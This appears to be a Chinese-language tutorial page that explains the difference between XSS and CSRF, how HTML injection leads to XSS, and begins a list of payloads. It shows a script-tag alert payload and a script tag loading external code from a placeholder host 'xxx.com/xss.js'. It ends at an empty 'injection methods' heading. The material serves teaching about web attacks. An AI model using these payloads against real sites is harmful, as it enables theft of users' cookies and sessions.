Skip to content

xss & csrf

区别

xss:主要是代码注入的形式去攻击,内容没有过滤,导致浏览器将攻击者的输入当代码执行。
csrf:主要是伪造身份去攻击,是 http 问题,因为浏览器在发送 http 请求的时候,会携带 cookie,而一般的网站 session 都存在 cookie 里。

XSS

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全

xss 攻击原理

HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了 HTML 标签,当这些 HTML 标签引入了一段 JavaScript 脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生 XSS 漏洞。

xss 攻击载荷

1. script 标签

<script> 标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中

js
<script>alert(1)</script> //弹出1
<script src="xxx.com/xss.js"></script> //外部脚本注入

xss 注入方式